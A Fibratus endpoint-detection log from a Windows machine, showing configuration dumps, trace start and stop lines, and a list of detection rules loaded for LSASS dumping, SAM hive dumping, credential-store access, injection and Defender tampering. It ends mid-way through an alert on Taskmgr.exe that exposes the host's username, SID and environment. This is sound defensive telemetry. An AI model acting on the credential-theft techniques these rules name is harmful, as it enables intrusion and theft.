paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:54:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:54:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:55:27+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:55:27+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:55:28+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:56:42+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T23:56:42+01:00 level=info msg=bootstrapping with pid 6740. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:56:42+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ to=>[] port=>25 use-template=>true enabled=>false content-type=>text/html] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-vamap=>true enable-threadpool=>false enable-mem=>false stack-enrichment=>true enable-image=>true enable-thread=>true enable-net=>true enable-handle=>false enable-dns=>false enable-audit-api=>true enable-fileio=>true enable-registry=>true max-buffers=>36 flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json timeout=>5s method=>POST] elasticsearch=>[ sniff=>false gzip-compression=>false index-name=>fibratus trace-log=>false flush-period=>1s template-name=>fibratus bulk-workers=>1 healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s timeout=>5s enabled=>false] amqp=>[ tls-insecure-skip-verify=>false passive=>false timeout=>5s enabled=>false url=>amqp://localhost:5672 durable=>false routing-key=>fibratus vhost=>/ exchange-type=>topic delivery-mode=>transient exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false fastscan=>true skip-allocs=>false skip-files=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:56:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:56:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:59:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:59:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:59:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:00:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T00:00:22+01:00 level=info msg=bootstrapping with pid 9676. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T00:00:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ to=>[] port=>25 content-type=>text/html use-template=>true enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-audit-api=>true enable-dns=>false enable-thread=>true enable-threadpool=>false enable-net=>true enable-image=>true min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-registry=>true flush-interval=>1s enable-handle=>false enable-fileio=>true enable-vamap=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info log-stdout=>true max-backups=>15 max-size=>100 formatter=>text] + output ......................... [ amqp=>[ routing-key=>fibratus delivery-mode=>transient durable=>false vhost=>/ enabled=>false passive=>false url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus exchange-type=>topic] http=>[ enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] method=>POST serializer=>json] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ sniff=>false flush-period=>1s timeout=>5s index-name=>fibratus gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 trace-log=>false enabled=>false healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s skip-mmaps=>false skip-allocs=>false enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T00:00:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:00:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:01:18+01:00 level=error msg=event processing failure: "process" processor failed with error: Only part of a ReadProcessMemory or WriteProcessMemory request was completed. source=aggregator/aggregator.go:191 +time=2025-11-04T00:02:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T00:02:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:02:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:02:24+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T00:02:24+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T00:02:25+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T00:02:25+01:00 level=info msg=bootstrapping with pid 18964. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T00:02:25+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false to=>[] use-template=>true port=>25 content-type=>text/html] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ flush-interval=>1s enable-image=>true stack-enrichment=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-dns=>false enable-handle=>false enable-vamap=>true max-buffers=>36 enable-threadpool=>false enable-net=>true enable-mem=>false buffer-size=>512 enable-fileio=>true min-buffers=>16 enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false method=>POST tls-insecure-skip-verify=>false serializer=>json] amqp=>[ routing-key=>fibratus vhost=>/ delivery-mode=>transient enabled=>false url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange-type=>topic passive=>false exchange=>fibratus durable=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ healthcheck-timeout=>5s sniff=>false healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false template-name=>fibratus enabled=>false index-name=>fibratus flush-period=>1s bulk-workers=>1 timeout=>5s trace-log=>false healthcheck-interval=>10s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-registry=>false skip-files=>false enabled=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-04T00:02:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:02:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:02:37+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5391717 + Pid: 2724 + Tid: 10304 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:02:28.9400658 +0100 CET + Params: file_key➜ ffff808cd7b11000, offset➜ 0, pid➜ 2724, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 21a842c0000, view_size➜ 20975616 + Metadata: subtechnique.id: T1555.004, subtechnique.name: Windows Credential Manager, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.name: Credential Access, technique.id: T1555, rule.name: Credential discovery via VaultCmd tool + + Pid: 2724 + Ppid: 18092 + Name: Taskmgr.exe + Cmdline: "C:\WINDOWS\system32\taskmgr.exe" /7 + Exe: C:\WINDOWS\system32\taskmgr.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\taskmgr.exe" /7] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 